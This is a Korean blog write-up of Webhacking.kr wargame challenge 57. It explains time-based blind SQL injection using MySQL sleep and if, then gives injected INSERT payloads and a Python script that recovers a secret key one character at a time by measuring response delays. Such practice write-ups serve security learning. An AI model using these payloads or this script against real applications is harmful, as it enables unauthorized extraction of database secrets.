ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Webhacking.kr] 57번 풀이
    Wargame/webhacking.kr (old) 2019. 5. 9. 13:23

    secret key를 알아내서 입력하는 문제인 것 같다.

    소스를 보자.

     

    pw가 \$secret_key와 같으면 문제가 풀리고 se 문자열이 from, union등이 필터링되어 있다.

    insert문을 이용하여 데이터가 저장된다.

     

    처음에는 insert문을 이용하여 secret 키의 값을 조작해서 푸는 건줄 알았으나,

    잘보면 \$secret_key는 값이 초기화되는 채로 pw와 값을 비교하기때문에 \$secret_key는 조작할 수 없다.

    \$secret_key의 값을 알아내야한다.

     

    일단 페이지의 반응을 보자.

     

    message에 값을 입력해주면 get 방식으로 msg와 se의 값이 전송된다.

    se는 secret의 라디오 버튼 값이다. (yes : 1, no : 0)

    값이 올바르게 전송되면 Done이 출력된다.

     

    소스를 좀 더 자세히보면 benchmark가 필터링되어있다.

    처음보는 단어인데 필터링되어 있다는 것은 의심해볼만 하다.

    benchmark를 검색해보니 Time-Based SQL Injection에 사용되는 함수라고 나와있다.

     

    Time-Based SQL Injection이란?

    시간을 이용한 SQL Injection 공격

    SQL 쿼리문의 실행 결과에 따라 반환시간을 지연시킴으로써 쿼리문의 참과 거짓을 판별

    주로 참과 거짓에 따라 차이를 확인할 수 없을 때 사용

    database종류에 따라 sleep, benchmark, waitfor delay등의 함수를 사용

     

    [ Time-Based SQL Injection ] https://www.owasp.org/index.php/Blind_SQL_Injection

    [ Time-Based SQL Injection ] https://tempuss.tistory.com/entry/Time-Base-SQL-Injection


    benchmark(count, expr)

    특정 식 expr을 count 만큼 반복 실행하는 함수

    연산을 반복하여 걸리는 시간으로 sleep함수와 같은 효과를 얻을 수 있다.

     

    [ benchmark ] https://dev.mysql.com/doc/refman/5.7/en/information-functions.html


    sleep(duration)

    duration 초만큼 일시 중지 한 후 0을 반환하는 함수

     

    [ sleep ] https://dev.mysql.com/doc/refman/5.7/en/miscellaneous-functions.html#function_sleep


    if(expression, expr_true, expr_false)

    expression 조건문이 참일 경우 expr_true 실행, 거짓일 경우 expr_false 실행

     

    [ if ] http://www.spatium.co.kr/languages/content.php?chno=5&bno=34

     

    위 함수들을 이용하여 MySQL에서 쿼리문을 만들어 실행해보았다.

     

    참인 경우 sleep(3) 이 실행되어 insert문을 실행하는데 3.38초가 걸린다.

    이처럼 쿼리문을 실행하는데 걸리는 시간을 이용하여 Blind SQL Injection을 수행하여

    \$secret_key를 알아낼 수 있을 것 같다.

     

    insert 문이 실행되어 페이지에 Done이 출력되는 시간을 측정하여 쿼리문의 참과 거짓을 판별한다.

     

    insert into challenge57msg(id,msg,pw,op) values

    ('id','msg','$secret_key',if(length(pw)=숫자,sleep(5),1));

    pw의 길이가 맞으면 sleep(5)에 의해 5초 이상 걸려 Done이 출력될 것이다.

     

    insert into challenge57msg(id,msg,pw,op) values

    ('id','msg','$secret_key',if(ascii(substr(pw,1,1)=97,sleep(5),1));

    pw의 값이 맞으면 sleep(5)에 의해 5초 이상 걸려 Done이 출력될 것이다.

     

    위 쿼리문이 잘 실행되는지 확인해보았는데 Not Acceptable이 출력된다.....

    뭔가 필터링되어있나 싶어 if와 sleep를 입력해보았는데 Done이 잘 출력된다.

     

    흠..

    왜때문인지 모르겠으나.. 혹시나 싶어 sleep의 시간을 고쳐보았더니 0.9로 하면 잘된다.

     

    쿼리문을 판단하기에는 0.9초는 너무 짧은것 같아 혹시나 하는 마음으로 sleep(5.0)을 하였더니 잘 된다.

    왜 정수는 안되는지 모르겠다.

     

    아무튼 잘되니 python을 이용하여 \$secret_key의 값을 알아보자.

    (시간을 너무 짧게 주면 쿼리문을 실행하는데 걸리는 시간에 의해 잘못된 값이 찾아질 수도 있다.)

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import time
    import requests
    
    headers = {'Host': 'webhacking.kr', 'Cookie': 'PHPSESSID=9c0180eae964c316c2f3895e27ad28f7;'}
    url = "http://webhacking.kr/challenge/web/web-34/index.php"
    
    #Find secret key length
    len = 0
    while True:
    	data = "?msg=a&se=if(length(pw)="+str(len)+",sleep(5.0),1)"
    
    	pre_time = time.time()
    	
    	r = requests.get(url+data,headers=headers)
    	if r.text.find('Done') != -1 :
    		cur_time = time.time()
    	
    	if cur_time - pre_time >= 5 : #Check time
    		break
    	len += 1
    print "------------------------------------------------"
    print "SECRET KEY LEN : ",len
    print "------------------------------------------------"
    
    #Find secret key
    secret_key = ''
    for i in range(1,len+1):
    	for j in range(48,123):
    		if 58 <= j <= 96: continue
    		data = "?msg=a&se=if(ascii(substr(pw,"+str(i)+",1))="+str(j)+",sleep(5.0),1)"
    		
    		pre_time = time.time()
    		
    		r = requests.get(url+data,headers=headers)
    		if r.text.find('Done') != -1 :
    			cur_time = time.time()
    		
    		if cur_time - pre_time >= 5 : #Check time
    			secret_key += chr(j)
    			
    			print "found : ",secret_key
    			break
    print "------------------------------------------------"	
    print "SECRET KEY : ", secret_key
    print "------------------------------------------------"

    [ 실행 결과 ]

     

    찾은 secret key인 1058792495를 입력해주면 문제가 풀린다.

     

     

    'Wargame > webhacking.kr (old)' 카테고리의 다른 글

    [Webhacking.kr] 59번 풀이  (0) 2019.05.11
    [Webhacking.kr] 58번 풀이  (0) 2019.05.11
    [Webhacking.kr] 56번 풀이  (0) 2019.05.09
    [Webhacking.kr] 55번 풀이  (0) 2019.05.08
    [Webhacking.kr] 54번 풀이  (0) 2019.05.08

    댓글

@Jo Grini's Blog